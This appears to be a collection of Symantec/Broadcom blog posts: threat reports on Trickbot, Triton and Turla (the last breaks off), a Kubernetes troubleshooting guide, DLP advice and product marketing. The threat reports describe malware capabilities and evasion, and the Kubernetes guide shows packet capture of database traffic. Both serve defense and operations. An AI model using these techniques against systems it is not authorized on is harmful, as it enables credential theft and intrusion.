The future of cyber security will be less around manual process and the different capabilities offered by different solutions. Today where most security is forensic, and a look to the past, moving forward IT will automate where it can with the help of orchestration and data analytics will become the new arsenal. The new approach will have the goal of freeing up the organization’s human resources to focus on key areas of security to learn if something is going to happen.
Organizations will seek to stitch together platforms where machine learning is a real enabler of AI and analytics systems. The goal will be to continually understand what is going on in the threat landscape and then take appropriate action across the entire supply chain to make security more predictive.
Detection and response will continue to converge - Gartner refers to this new space as MDR or managed detection and response. The idea is to better tie technology and humans together from detection all the way to incident response and remediation. MDR has the potential to be an imminent disruptor, delivering capabilities like advanced threat hunting, which continuously assesses the environment to extend what the SOC does today beyond alerts and recommendations to better prevent security breaches.
As enterprises turn increasingly to Analytics, ML and orchestration, the people who staff SOC operations will shift from being the primary points of analysis to the primary points of interpretation. Today we view people as a key indicator of risk, but analytics can change this as people are less overwhelmed, false positives are largely removed and those people can focus on looking for potential problems.
Customers will further benefit from machine automation. The promise of orchestration is that you won’t need people for many aspects of security. Rather, enterprises will be able to connect their platforms so that when something bad happens, systems will automatically detect the breach and automatically act to quarantine infected computers and remediate viruses.
Traditionally, security operations have been about detecting intruders trying to break into a network. But with the emergence of the public cloud, mobile devices and IoT, the notion of inside and outside makes increasingly less sense as all of these markets are essentially converging. Therefore, security will continuously adapt and be risk based across internal and external installations ranging from on-premises to their cloud infrastructure. Analytics and automation will be key enablers of this capability. Applying advanced analytics across both on-prem and cloud environments will improve security operations by enabling effective and higher fidelity anomaly detection, will help to identify complex, low and slow dispersed attacks previously unknown, and highlight user behavior anomalies indicating insider threats.
Given the pace of threats and how much attacks are growing, the truth is that it is Impossible for today’s organizations to effectively detect and respond to attacks.
Adopting a cyber defense strategy that is risk-based, continuously adapts and leverages machine learning, analytics and automation as key enablers is a step toward a required new understanding of cyber security and an effective cyber defense strategy.
|
Trickbot: U.S. Court Order Hits Botnet’s Infrastructure
Symantec assists in cross-industry initiative to disrupt virulent botnet tied to ransomware spread, banking credential theft, and other campaigns.
A global partnership of security, software, telecommunications and financial services firms have struck a blow against the notorious Trickbot botnet by securing a court order directing hosting providers to take down its infrastructure. The order was obtained in a U.S. lawsuit filed by Microsoft and the Financial Services Information Sharing and Analysis Center (FS-ISAC) against Trickbot’s anonymous operators and was based on technical evidence provided by the Symantec, a division of Broadcom (NASDAQ: AVGO) Threat Hunter Team and others. The legal action marked the culmination of a years-long, cross-industry collaboration to find innovative ways to thwart a pernicious botnet that has fueled numerous cyber-crime sprees.
In written testimony provided to the court, Symantec technical director Vikram Thakur said Trickbot has spread prolifically across the internet for years and become one of the most commonly blocked types of malware, suggesting it is now one of the world’s largest botnets.
Thakur described the serious harm caused to users whose computers are infected with Trickbot and whose banking credentials and other sensitive information are frequently stolen by the attackers. He also described its impact on financial institutions, which have borne significant losses due to Trickbot fraud.
In recent times, Trickbot has been implicated in targeted ransomware attacks, where credentials stolen by the malware were used by the Ryuk ransomware operators to compromise victims’ networks and encrypt all accessible computers. This assessment has been confirmed by Europol, which recently noted that “the relationship between Emotet [another botnet], Ryuk and Trickbot is considered one of the most notable in the cybercrime world”.
The botnet’s impact on banks and other financial sector organizations prompted a successful and close collaboration between the security industry and the financial sector, represented by FS-ISAC.
Unlike prior legal “takedown” actions against botnets, this case did not involve seizure of malicious infrastructure or redirection of network traffic but instead relied upon intellectual-property laws to effectively evict the botnet operators from the command-and-control servers they need to maintain access to victim machines.
Figure. How the Trickbot botnet works
What is Trickbot?
Trickbot is a major botnet consisting of computers that have been infected with the Trickbot Trojan (Trojan.Trickybot). The Trojan is modular in nature, meaning it can easily be customized with one or more of an array of custom components designed to carry out a range of malicious activities on infected computers. To date, it has mainly been used for two main purposes: stealing credentials from infected computers and acting as a distribution channel for other malware. Symantec believes that Trickbot’s operators earn most of their revenue from selling stolen credentials on the cyber underground and leasing out the botnet as a distribution channel for other malware authors.
Trickbot is spread through spam and phishing email campaigns which usually bear a Microsoft Word attachment containing malicious macros. If the document is opened by the unsuspecting user, Trickbot will be installed on the victim’s computer. In some cases, other malware, particularly ransomware, is also installed on the victim’s computer.
Trickbot will also attempt to leverage known software vulnerabilities to move across the victim’s network and install itself on other computers.
How Trickbot works
Trickbot is modular malware, capable of performing a range of different malicious activities. The first module to be installed on the victim’s computer is the loader, which contains an encrypted list of IP addresses from which it can download its main module.
Once downloaded, the main module will check the architecture of the victim computer and save this along with the bot’s own information. The main component then prepares a framework for additional modules and initiates a connection to one of a pre-configured list of command and control (C&C) servers.
The main module downloads one or more additional modules. Known modules include:
Banking credential stealer (injectDll): For injecting malicious content into browser windows displaying banking websites in order to steal credentials
Reconnaissance module (networkDll): For gathering system information and network/domain topology to determine whether the device can be infected with ransomware
Data stealer (importDll): For stealing data from a web browser
Password grabber (Pwgrab: For stealing passwords from various locations
Cookie stealer (cookiesDll): For stealing cookies from the infected computer
Information stealer (mailsearcher): For searching all files in all drives in the system looking for specific information
Point-of-Sale recon (psfin): Reconnaissance module to determine if there are any Point-of-Sale (POS) devices connected
Remote control module (vncDll): Virtual Network Computing (VNC) module
SMB spreader (tabDll): For spreading over Server Message Block (SMB) using the EternalRomance exploit and other vulnerabilities patched by Microsoft in March 2017 (MS17-010)
Outlook stealer (outlookDll): For stealing data saved by Microsoft Outlook
Lateral movement module (shareDll): For lateral movement/enumeration via Lightweight Directory Access Protocol (LDAP) and SMB exploitation
Lateral movement module (wormDll): For lateral movement/enumeration via LDAP and SMB exploitation. The shareDll and wormDll modules work in cooperation.
RDP brute-force module (rdpScanDll): A new module that uses brute-forces the Remote Desktop Protocol (RDP) for a specific list of victims
Stealthy threat
Trickbot includes a number of features designed to minimize the risk of detection by security software. For example, the main module is designed to evade execution within “sandboxes,” which are controlled environments used by security companies to analyze malware.
This module will also check the current user’s privileges and, if they have low privileges, it will elevate them using User Access Control (UAC) bypass, a technique that allows execution of programs with elevated privileges without the user being prompted.
When it obtains elevated privileges, Trickbot will attempt to identify any security software that is installed on the computer and attempt to stop it and end any related services.
Credential theft
One of the main threats for Trickbot victims is credential theft. This is carried out by a module that monitors for browser visits to a pre-configured list of banking websites. If the user visits any of these websites, the module intercepts and alters network traffic between the computer and the website, allowing the attackers to steal the victim’s banking credentials after they are input by the user.
Trickbot will also attempt to steal other credentials from Chrome and Internet Explorer’s password storage features, from various RDP and SSH related services, and from other password managers.
Immediate threat
While infected computers are added to the Trickbot botnet, they yield the most value to attackers immediately after infection. Other malware families are usually delivered at the point of initial infection. Credential theft happens immediately after infection, while banking credentials are stolen the first time the victim attempts to log into their bank. Even if the malware is subsequently detected and the computer is removed from the botnet, much of the damage will have been done at this point, with stolen credentials exfiltrated by the attackers and likely sold to other cyber criminals.
Ongoing battle
By pooling resources and intelligence and utilizing available legal avenues, the information security and financial sectors hope to strike a major blow against Trickbot. Symantec is grateful for the leadership of Microsoft and FS-ISAC and the support of ESET, NTT, and Lumen Technologies. This latest action, however, is just one step in an ongoing campaign. Complete eradication of this botnet will likely require additional actions from government partners in multiple jurisdictions. However, this action proves that successful private industry collaboration can be effective in countering cyber-crime and we hope that this set a new precedent for further initiatives.
Protection
The following protections are in place to protect customers against Trickbot activity:
Trojan.Trickybot
SONAR.Trickybot
Trojan.Trickybot!g7
Trojan.Trickybot!g8
Trojan.Trickybot!g11
Trojan.Trickybot!g13
Trojan.Trickybot!g16
Trojan.Trickybot!gen2
Trojan.Trickybot!gen5
Trojan.Trickybot!gm
Mitigation
Symantec recommends users observe the following best practices to protect against Trickbot attacks:
Enable 2FA to prevent compromise of credentials.
Harden security architecture around email systems to minimize the amount of spam that reaches end-user inboxes and ensure you are following best practices for your email system, including the use of SPF and other defensive measures against phishing attacks.
Restrict access to RDP Services: Only allow RDP from specific known IP addresses and ensure you are using multi-factor authentication.
Implement proper audit and control of administrative account usage: You could also implement one-time credentials for administrative work to help prevent theft and usage of admin credentials.
Create profiles of usage for admin tools: Many of these tools are used by ransomware attackers to move laterally undetected through a network. A user account that has a history of running as admin using PsInfo/PsExec on a small number of systems is probably fine, but a service account running PsInfo/PsExec on all systems is suspicious.
Indicators of Compromise
486a3a7e45aa168de7761da674396231
cf63b9cc0187cd8344b71464c0172ab8
1db0a0786a1394aeda9e9d0adf8b846f
1b557b166ddf21da002086de783f4aa5
aef03ddd3134451e1efe137fb22e3a0c
be593f6c6a77f61d20bb31196aabf86a
7353c6afe9fa2f2c1dca1d9910abfe6a
54aee5682a03b2432820755e4fdbdacf
ac7a01eb09e803b7933c04e2c90960e4
9a7f353a1809f290b52aec98172f4a4f
6a3e154c10c0d9afff59bee320844748
03b4eb88ab2829fa148814c10a7236fa
00b7be1d568106e570d36ce5d4592904
d8ef2838bb27c42eddd31c6e65b00963
71b9c5da0a6be4c53565d56734885c13
4b71dba2a5b69a949bc63e3493f45ad1
30baf5b280eaf26fddd9b0c7a26862ca
ada6d7921efa942620e3a2df2e842437
6c0a8a2b30b2e35564f83da09a143cf2
8acd8ad8a953a4a4bda5c9adc6f43dbd
84b42db47d25a2fa0d649d6a83b93ba1
|
Triton: New Malware Threatens Industrial Safety Systems
Symantec customers are protected against new ICS malware.
Symantec is aware of a new Trojan which targets industrial control systems (ICS) and has the potential to cause severe disruption at any targeted organization. Triton (Trojan.Trisis), is designed to communicate with a specific type of ICS, namely safety instrumented systems (SIS) and deploy alternative logic to these devices, meaning they may not function correctly. Triton has reportedly been used against at least one organization in the Middle East.
Triton, which has been in existence since at least August 2017, works by infecting a Windows computer that is expected to be connected to a SIS device.The malware then injects code modifying the behavior of the SIS device. However, at present the intended effect is unclear and investigation is still underway.
What are SIS?
Safety instrumented systems are a type of industrial control system designed to monitor the performance of critical systems and take remedial action should an unsafe condition be detected. This could include overly high temperatures or pressure readings in industrial systems. The SIS is designed to detect such conditions and initiate action that will put the affected systems into a safe state.
Why target SIS?
Attacks on SIS devices could potentially cause disruption at a targeted organization and, at worst, facilitate sabotage. By interfering with the operation of an SIS, an attacker could cause it to malfunction and shutdown operations at a plant. A worst case scenario is an attack where an SIS malfunctions, does not detect an unsafe event and therefore fails to prevent an industrial accident. The latter would be more difficult to accomplish since the attacker would need to ensure an unsafe condition occurs while the SIS is malfunctioning.
Not the first ICS attack
While there have been a small number previous cases of malware designed to attack ICS, Triton is the first to attack SIS devices. The first and most notable example of ICS malware was Stuxnet (W32.Stuxnet) which was designed to attack programmable logic controllers (PLCs) being used in the Iranian uranium enrichment program.
The Dragonfly cyber espionage group has also been known to target ICS and previously compromised a number of ICS equipment providers, infecting their software with the Oldrea Trojan (Backdoor.Oldrea) (aka Havex).
More recently, the Disakil disk-wiping malware (Trojan.Disakil), which was used in attacks against the Ukrainian energy sector in late 2016, contained a component designed to target SCADA (supervisory control and data acquisition) ICS systems. The malware attempted to stop and delete a service used by software designed to communicate with legacy SCADA systems.
Vigilance required
Triton appears to be designed to be used in a highly targeted fashion, meaning it is possible the attackers may be focused on one specific target or a small number of targets. Nevertheless, users of SIS devices are advised to review operational security and follow the manufacturer’s best practices, such as ensuring safety systems are deployed on isolated networks and no unauthorized persons have access to SIS devices.
Symantec is continuing to investigate this threat.
Protection
Symantec has the following protection in place to protect customers against these attacks:
Antivirus
Trojan.Trisis
Symantec IOT Critical System Protection also blocks this threat.
|
Troubleshooting Applications In Kubernetes
Methods and ideas you can use to troubleshoot your containerized application
At Broadcom, many of our Identity Security products run on Kubernetes. Given this, I will be covering a series of discussions focused on Kubernetes, in order to provide our customers with best practices and advice on how to troubleshoot applications in Kubernetes.
Introduction
Running applications in Kubernetes provides a scalable, easy to deploy and easy to upgrade option. Container images are made small and efficient to reduce their size as well as to make them more secure by reducing their attack surface. Moreover, done correctly, a container should not run as root and will not allow installing additional tools in it. However, when things don’t work as expected, troubleshooting becomes more of a challenge.
In this article, we will discuss some methods and ideas you can use to troubleshoot your containerized application.
Initial Inspection
The first step in troubleshooting your applications is to check the status of the application pod. This article is not meant to explore the basic troubleshooting steps available to you by Kubernetes. Nevertheless, we want to make sure that the reader is aware of these steps.
Make sure that the pod’s containers are all up and that the pod is in a ready state. If the pod is not ready, use ‘kubectl describe pod’ to find out why.
‘kubectl describe pod’ provides information about the pod as well as a list of events that describe the pod initialization process and indicate issues in it.
For more information about Kubernetes standard tools for debugging application pod status check out Kubernetes documentation at:
https://kubernetes.io/docs/tasks/debug-application-cluster/
https://kubernetes.io/docs/tasks/debug-application-cluster/debug-init-containers/
Check the container logs using:
kubectl logs -f <podname> -c <containername> -n <podnamespace>
Where:
-f is used to continue and stream the log file content (follow)
-c is the name of the container inside the application pod – this parameter is necessary only if the application’s pod has more than one container.
-n is the name of the namespace the application is running in. it is required only if the application’s pod is running on a namespace that is not the current default namespace.
If your container has previously crushed, use the following command to access the previous container’s log:
kubectl logs –previous <podname> -c <containername> -n <podnamespace>
Inspect other log and configuration files by running a shell inside the application’s container. This is done using:
kubectl exec -it <podname> -c <containername> -n <podnamespace> — <cmd>
Where:
-it allows us to interact with the shell
-c is the name of the container inside the application pod – this parameter is necessary only if the application’s pod has more than one container.
-n is the name of the namespace the application is running in. it is required only if the application’s pod is running on a namespace that is not the current default namespace.
<cmd> should be replaced with the command you want to execute (cmd + args). In order to open a shell use /bin/bash or shNote that what you can execute depends on what’s available on the container and your permissions.
See Kubernetes documentation for more information: https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/
Kubernetes uses health probes to make sure your pod is healthy and can serve requests. These probes may be configured for each container in your pod. Liveness probes are used by the kubelet to decide when a pod has to be restarted in order to try to recover it. These restarts may interfere with your debugging, restarting the application pod while you are trying to debug it. In this case you may choose to disable the Liveness probe for your application container while debugging it.
Copying files to and from the container
When troubleshooting an application running in a container, we will find ourselves in many cases having to copy files into and out of a running container. These files can be logs that are not being exposed from the container, configuration files, or even core dump files.
In Kubernetes, an easy way to get files off of a running container can be done using the kubectl command ‘kubectl cp’. This command allows us to get a file, or a folder off of a running container without having to know where this container actually runs.
The syntax of the command is as follows:
⬐ source (where to copy from) ⬎ ⬐ destination ⬎
kubectl cp <namespace>/<podname>:<path to file or folder> <local path to copy to> -c <containername>
Example:
The following command will copy the entire folder ‘/opt/SecureSpan/Gateway/config’ from a container called ‘gw’ in a pod called ‘gw-dc-87568c597-xn4pz’ to the local folder ‘/config’:
kubectl cp default/gw-dc-87568c597-xn4pz:/opt/SecureSpan/Gateway/config /config/ -c gw
Copying from the local machine into the container would just require switching the order of the source and target, as explained above.
Troubleshooting DB connectivity issues
The rest of the article will examine a scenario where we need to troubleshoot an application’s failure to connect to a MySQL database. The application is running in the cluster whereas the database can either be running in the cluster or is an external database, running outside of the cluster.
First, we will want to make sure that the hostname we use to access the database service is resolvable within the cluster. This can be done by starting a busybox container and running the nslookup command, as follows:
kubectl run busybox --image=busybox:1.28 --rm -ti --restart=Never --command -- nslookup my-db-service
Note that you’d want to make sure to use the 1.28 version of busybox since in the later releases nslookup doesn’t work well (see https://github.com/kubernetes/website/pull/9901)
Troubleshooting Using A MySQL Client Container
The first thing we will need to do is to make sure we are able to connect to the database from within the cluster. This test will overrule any network, firewall, or security policies that prevent us from connecting to the database. The following command allows us to start a mysql client and connect to a mysql DB (external or one that is running inside the cluster). Use this to make sure that there is no network issue (firewall, DNS, etc.) that prevent connecting to the database.
mysql -h myssgsqldb.mysql.database.azure.com -uUser@Host -pPassword
Can be started as a pod in the Kubernetes cluster by using the following command:
kubectl run -it --rm --image=mysql:5.7 --restart=Never mysql-client -- mysql -h host -uuser@host -ppassword
Note: If you want to force the MySQL Client container to run on the same node as your application pod (to make sure this is not a problem specific to that node), you can add the attribute spec.template. spec.nodeSelector to its pod definition with the value:
kubernetes.io/hostname: <node hostname>
Where <node host name> is the hostname of the node running your application (you can use kubectl get nodes -L kubernetes.io/hostname to check the hostname value of the node)
Capturing POD’s network communications
The following method uses a pattern called sidecar to run a debug container inside the application’s pod, alongside the application container.
Creating a tcpdump container
The following steps will create a tcpdump container. In order for Kubernetes to use it, you’ll have to push it to a docker registry and point your pod to use it.
Alternatively, you can choose to skip this step and use my image on the Docker hub registry, docker.io/cohenuzi01/tcpdump:latest.
Let’s start by creating a container with tcpdump. We will use Ubuntu as the base image and use apt-get to install tcpdump.
Enter the following command into the terminal:
docker build -t tcpdump:latest -<<EOF
FROM ubuntu
RUN apt-get update && apt-get install -y tcpdump
CMD tcpdump -i eth0
EOF
The following output appears, indicating the the image was successfully built:
Sending build context to Docker daemon 2.048 kB
Step 1/3 : FROM ubuntu
—> 2ca708c1c9cc
Step 2/3 : RUN apt-get update && apt-get install -y tcpdump
—> Using cache
—> 5412ced51771
Step 3/3 : CMD tcpdump -i eth0
—> Running in db7f2d2e16d0
—> a59987c6e373
Removing intermediate container db7f2d2e16d0
Successfully built a59987c6e373
Next, we tag and push the image into our registry, you should replace “cohenuzi01/tcpdump:latest” with the name of your image, including the registry hostname and port, followed by the repository name, image name and tag:
e.g.
registry-host:5000/myrepo/tcpdump:latest
docker tag tcpdump:latest cohenuzi01/tcpdump:latest
docker push cohenuzi01/tcpdump:latest
The following output appears:
The push refers to a repository [docker.io/cohenuzi01/tcpdump]
84a96d842479: Pushed
e80c789bc6ac: Pushed
6c3332381368: Pushed
ef1a1ec5bba9: Pushed
a1aa3da2a80a: Pushed
latest: digest: sha256:a335a105ed696547c6fbfbec25e06feda92628d1fa51bf3df560a8993232a5ba size: 1364
Adding the tcpdump container to a pod:
Now that we have the image in a docker registry, accessible to our Kubernetes cluster, we will update the pod of the application we want to debug and add the tcpdump image as a sidecar container. We will name the sidecar container tcpdumper (any name would do). Adding the sidecar container can be done by editing the pod’s specification manifest yaml files and using kubectl apply to apply them, or alternatively, by using the kubectl edit command to update the pod definition in memory:
kubectl edit deployment <applicationPod’s deployment name>
If the pod is a part of a higher Kubernetes construct, like a Deployment, StatefulSet, or a DaemonSet, we should edit the object that contains the pod’s definition deployment. Going forward we will assume it is a deployment for ease of writing.
Note: When using the kubectl edit command, any saved updates will be applied automatically upon exiting the editor.
When editing the pod’s manifest, add the following container to the containers section in the pod definition’s spec (make sure to use the proper line indentation, as those are important in yaml files):
containers:
– name: tcpdumper
image: docker.io/cohenuzi01/tcpdump
imagePullPolicy: Always
args:
– /bin/sh
– -c
– tcpdump -nn -s0 -w – port 3306 2>/dev/null |gzip -c |base64
resources: {}
Notice the command we specify for the container. This tcpdump command is set to capture port 3306 (MySQL port), the output of the tcpdump command is going to be zipped, encoded with base64, and sent to the container’s stdout.
Adding the tcpdumper container into the pod can also be done using a kubectl patch command (similar to the kubectl edit command, the updates to the pod manifest will be immediately applied):
kubectl patch deployment <applicationPod’s deployment name> --patch '{ "spec": {"template": { "spec": {"containers": [ {"name": "tcpdumper","image": "docker.io/cohenuzi01/tcpdump", "imagePullPolicy": "Always", "args": [ "/bin/sh", "-c","tcpdump -nn -s0 -w - port 3306 2>/dev/null |gzip -c |base64"],"resources": {}}]}}}}'
Note: Once changes to the pod are applied all of the application’s pods (that are using the modified Deployment), will be restarted to use the new configuration.
Saving the output of the tcpdump side-car container to a file
As we mentioned above, the container writes the captured data, compressed and encoded via base64, to its stdout. This output can be saved to a file using the following command:
kubectl logs <applicationPod> -c tcpdumper >myapp.pcap.gz.base64
*make sure you replace <applicationPod> with the application’s pod name.
Extracting the TCPDump Capture Data:
In order to extract the saved data back to a pcap file use the following command:
base64 -d myapp.pcap.gz.base64 |gunzip -c >myapp.pcap
Viewing And Analyzing The Capture Results
In a machine that has Wireshark installed, open the pcap file and review the captured data.
You can also use tshark from the command line to filter down the captured data.
E.g.
Show the lines with a certain field.
tshark -r myapp.pcap -T fields -e mysql.user -Y mysql.user
Or
Print communication from a certain protocol:
tshark -r myapp.pcap -Y mysql -O mysql
This article will not cover the analysis of the network capture as this is a subject by itself.
Summary
Running applications in Kubernetes presents additional challenges when trying to troubleshoot issues. In this article, we’ve presented just a few troubleshooting tools that we can use when troubleshooting applications running in Kubernetes.
|
Trust Your Endpoint Protection to a Proven Leader
As endpoint attacks multiply, users need to work with a marketplace leader – now, more than ever
In business like in sports, the more successful you are the harder people will try to take your place as a leader. At Symantec, a division of Broadcom (NASDAQ: AVGO), we thrive on winning products -- those that protect our customers, stop the attackers and also beat our competitors. Winning, for us, is making a real difference for our customers. We let the strength of our products and satisfaction of our customers speak to our leadership in the security industry.
Indeed, Symantec Endpoint Protection (SEP) continues to accumulate accolades - 5 years in a row as the best protection winner of the prestigious AV test - and now also the best performance winner, the only product to win in both categories. It’s also the foundation upon which we built Symantec Endpoint Security (SES) Complete.
Meanwhile, SEP continues to thrive even as our flagship endpoint solution SES Complete continues to gain ground with enterprises. We’re seeing record demand from customers for the full range of protection offered in SES Complete, widely recognized as the most complete endpoint offering in the market.
In addition to SEP and SES Complete, SES Enterprise is available to add cloud management for SEP as well as extend protection to mobile devices, with mobile threat defense for iOS and Android. All of these options use the same high performance agent that our customers use and love today.
Defense in a Dangerous Security Landscape
Unfortunately, the world of endpoint security is anything but easy nowadays. In fact, customers regularly wind up buying a myriad of security endpoint solutions in a pell-mell effort to better defend themselves. I’m no longer surprised when a CISO tells me their organization uses as many as eight different products made by eight different competitors. That’s not protection. That’s a recipe for chaos.
Think about what ensues. Not only do you wind up deploying multiple agents - from multiple vendors - on multiple devices - but you also need to spend enormous effort integrating different consoles and technologies on the backend. Even then, there’s no guarantee that your security will be improved. Besides, if you misconfigure something incorrectly, the operational risk could be potentially catastrophic as threat actors of various stripes will try every possible technique imaginable to exploit vulnerabilities. And they now have the tools and expertise to do just that.
Unfortunately, the world of endpoint security is anything but easy nowadays.
It’s why organizations need to be able to recognize and stop a breach attempt as early as possible. Most security vendors talk about detecting and stopping intruders after a breach, and frankly, that’s not good enough. Detecting a breach could already be too late, which is why preventing a breach is so valuable. Once inside, attackers move rapidly, scooping up data and other coveted information. You need preventive coverage all across the attack chain, and across all device types, starting at the point of origin. But most vendors don’t have the necessary intrusion prevention capabilities that would stop threats based on their network characteristics. They do not have attack surface reduction, they do not have deception -- all designed to prevent attacks up front.
As we’ve all been reminded during the COVID-19 crisis, nobody knows what's going to hit them next. As attackers find new ways to avoid detection, nobody knows what is going to hit them next either. That’s why you need a vendor with the depth and breadth of technology expertise across the attack chain -- prevention, protection, detection, and remediation.
Detecting a breach could already be too late, which is why preventing a breach is so valuable.
Furthermore, as enterprises respond to the COVID-19 pandemic, the nature of work is changing with more employees than ever working from their homes. It points to a future in which the number of unprotected endpoints - both desktop and mobile - will likely increase at exponential rates. Here is where SES Complete offers an indispensable component of an enterprise-wide defense arsenal.
SES Complete delivers all of our cloud-powered technologies with a single agent per OS, protecting all device types (workstation, laptop, mobile, server) and all OSs (Windows, MacOS, Linux, iOS, Android, Windows 10 on ARM, Windows 10 in S mode). Further, SES Complete gives SOC teams the tools they need to detect and respond to attacks, and a new threat hunter capability to identify potential breaches and remediate quickly and it can be managed on-prem, in the cloud, or as a hybrid installation.
Our leadership in endpoint security will remain unsurpassed as we continue to invest in new approaches to finding and stopping attacks at the endpoint with SEP, SES Enterprise (adds cloud managed and mobile threat defense) and SES Complete (adds advanced protection, EDR, and Threat Hunting capabilities).
Endpoint security is more important now than ever. Make sure you are protected by the best.
Symantec Endpoint Security: Innovation and Strategy for Your Success
|
Tuning DLP for Success
How to craft a successful data protection program to get the most out of your deployment
When deploying Data Loss Prevention, so much depends on a strong start.
Crafting the right policies early on creates business confidence in the tool and builds momentum for your data protection program.
I’ve now used DLP over several years – both at Symantec and prior to that for Symantec clients. In this blog post, I want to share some tips on how to get off the mark in a way that inspires confidence and outline some unconventional use cases.
Build business confidence
Strong business engagement is the foundation of a successful data protection program.
Any new program should start with the business units most highly-engaged in the security program, with policies co-designed to protect their most valuable data.
An issue that commonly arises during early phases of DLP deployments is writing too many or overly broad rules before your program has reached maturity. Once you’re aware of the power and possibilities of the platform, it’s only natural to want to make as much use of it as possible.
You have to resist that temptation.
What you don’t want is a volume of alerts and false positives too large to effectively manage. The risk is that the noise erodes business confidence in the effectiveness of the program.
Once you’re aware of the power and possibilities of the platform, it’s only natural to want to make as much use of it as possible.
In the initial phases of deployment, I have typically focused our efforts on creating polices in two areas: (i) data that needed to be protected due to legal and regulatory requirements, such as credit card and social security numbers, and (ii) intellectual property, such as source code. It takes some discipline to keep other minor use cases – often demanded by other teams – at bay while you get these basics sorted. As a starting point, leverage your organization’s existing data classification standard to understand what the business considers the most important categories of data to be protected.
Another key to building confidence in your DLP deployment is to establish at the outset the right resourcing and processes to triage and respond to alerts. We discuss this in more detail later in this post.
It’s also worth spending time to develop your reporting framework upfront. Your reporting needs to continually demonstrate the value of the program. Think beyond reporting the number of data incidents detected or prevented, which is what the tool will natively deliver you. Focus on outcomes - how has DLP driven changes and improvements to business processes? That’s what your peers and executives want to hear.
Tune Continuously
When starting out, using simple keyword matching policies can generate value quickly. From that point you can look to features like Exact Data Matching and Indexed Document Matching to help limit the number of false positives.
Exact Data Matching works by indexing a structured data source, for example, a database of employee records. A fingerprint is created for that data source and linked to a DLP policy that detects for it. Indexed Document Matching works in a similar way but involves indexing specific documents.
But DLP is not a set-and-forget solution. After the initial rollout phase, continuous tuning is key.
As you get a more complete understanding of your data and the impact of specific rules and polices, it’s important to continually modify and refine rules to get more precise, as well as introducing new rules to cover a broader range of identified risks and use cases.
Block or Monitor?
DLP plays a key role in protecting data, but it’s not a panacea for every data loss scenario.
At Symantec, we get the most value from using DLP to prevent the risk of accidental or negligent data loss, which often makes up for the larger share of data leakage in organizations. An ideal use case is detecting when an employee sends an email containing sensitive information to someone outside the organization – which is more often than not unintentional (i.e. “fat finger” errors in email address fields).
Another key consideration when configuring DLP is whether to block activity that breaches a DLP policy, or simply to monitor it. In obviously high-risk scenarios – for example, an identified insider threat risk – it makes sense to activate blocking rules using Endpoint or Network Prevent. By equal measure, configuring DLP to block activity requires highly precise policies to avoid disrupting legitimate business activity and triggering user complaints. In large organizations it may require a service (either an individual or a team) be assigned to respond to these complaints and, where necessary, unblock legitimate activity in a timely fashion.
At Symantec, we typically configure any new DLP policies in monitor mode, at least initially. This gives us visibility of processes or behaviors in the organization that could result in data loss, without adversely impacting the business. We are also biased towards configuring Symantec DLP to issue notifications to users about the risks of a data transfer, such that we can allow them to decide whether to proceed with the transfer based on their assessment of the risk.
Triage Model
Another key question to ask is how you will manage DLP alerts in a timely manner. It’s vital to establish a well-thought out process that meets your risk, compliance and regulatory obligations.
At Symantec, we established an alert triage model that outlines clear standards for triaging DLP alerts, including response and resolution timeframes in line with regulatory requirements such as GDPR, and we clearly laid out the roles and responsibilities for responders.
We set different resolution timeframes based on whether an alert is a suspected false positive, appears to relate to the employee’s own data, or is suspected as being a data incident. Alerts relating to customer or personal information trigger an engagement with our privacy team for further investigation.
Ultimately, we found that responding to alerts and continuous tuning didn’t suit the skills required of the modern SOC analyst – which increasingly pivot toward proactive hunting of threats.
We’ve defined simple categories of alerts in Symantec DLP like ‘New’, ‘Under Review’ and ‘Resolved’. Too many alerts in the “New” or “Under Review” state make a good case for us to consider how we’re resourcing the triage function or how we might refine our policies to reduce false positives.
We’ve considered a number of options for who should manage the triage function. Should it be within our Security Operations Centre (SOC), set up as a separate compliance function in our security team, or should it sit with responders in the business units? We weighed up the pros and cons of each.
Ultimately, we found that responding to alerts and continuous tuning didn’t suit the skills required of the modern SOC analyst – which increasingly pivot toward proactive hunting of threats. We felt that a centralized compliance function for DLP alerts worked most efficiently for our organization and drove the continuous improvement we wanted from the program.
Our responses processes for any DLP alerts relating to personal information are also integrated with our global privacy team. This team takes the lead role in managing major privacy incidents and ensuring our compliance with key data protection regulations such as GDPR. Naming standards offer a simple way to streamline this process. We distinctly label any DLP policy that deals with personally identifiable information, which helps our responders know that an alert potentially constitutes a disclosure under GDPR.
Awareness in Disguise
Finally, and somewhat unconventionally, we’ve come to see value in Symantec DLP as a security awareness tool.
First, DLP alerts provide a rich source of data on events that might lead to data loss. Our awareness team uses this data to identify and refine training needs.
But more importantly, a core principle of our education programs is that learning experiences be contextual to a user’s workflow. We want to teach staff in the moment.
Symantec DLP supports this by identifying high-risk behavior at the very moment that it occurs. We operate on the principle that most staff want to do the right thing and are simply trying to be productive. When an employee accidentally sends an email containing sensitive data to an external recipient, the tool can not only be configured to detect this behavior but also to automatically send the employee a message that enrolls them in in-the-moment training about data classification and handling. This creates a powerful, contextual learning experience.
We’re looking at other opportunities to integrate awareness messaging into our rules and policies, rather than just using DLP to generate alerts for the triage team to process.
DLP is highly versatile, but its successful implementation as a security solution rests on building the right processes to manage alerts, continuous tuning and demonstration of its value back to the business.
|
Turla: Spying tool targets governments and diplomats
Many infections connected to private government networks of former Eastern Bloc countries.
A cyberespionage campaign involving malware known as Wipbot and Turla has systematically targeted the governments and embassies of a number of former Eastern Bloc countries. Trojan.Wipbot (known by other vendors as Tavdig) is a back door used to facilitate reconnaissance operations before the attackers shift to long term monitoring operations using Trojan.Turla (which is known by other vendors as Uroboros, Snake, and Carbon). It appears that this combination of malware has been used for classic espionage-type operations for at least four years. Because of the targets chosen and the advanced nature of the malware used, Symantec believes that a state-sponsored group was behind these attacks.
Turla provides the attacker with powerful spying capabilities. Configured to start every time a computer starts, once the user opens a Web browser it opens a back door that enables communication with the attackers. Through this back door, the attackers can copy files from the infected computer, connect to servers, delete files, and load and execute other forms of malware, among other capabilities.
The group behind Turla has a two-pronged attack strategy that involves infecting victims through spear phishing emails and watering hole attacks. The watering hole attacks display competent compromise capabilities, with the attackers compromising a range of legitimate websites and only delivering malware to victims visiting from pre-selected IP address ranges. These compromised websites deliver a payload of Trojan.Wipbot. It is highly likely that Wipbot is then used as a downloader to deliver Turla to the victim.
Victims
While infections initially appeared to be spread over a range of European countries, closer analysis revealed that many infections in Western Europe occurred on computers that were connected to private government networks of former Eastern Bloc countries. These infections appear to have transpired in the embassies of these countries.
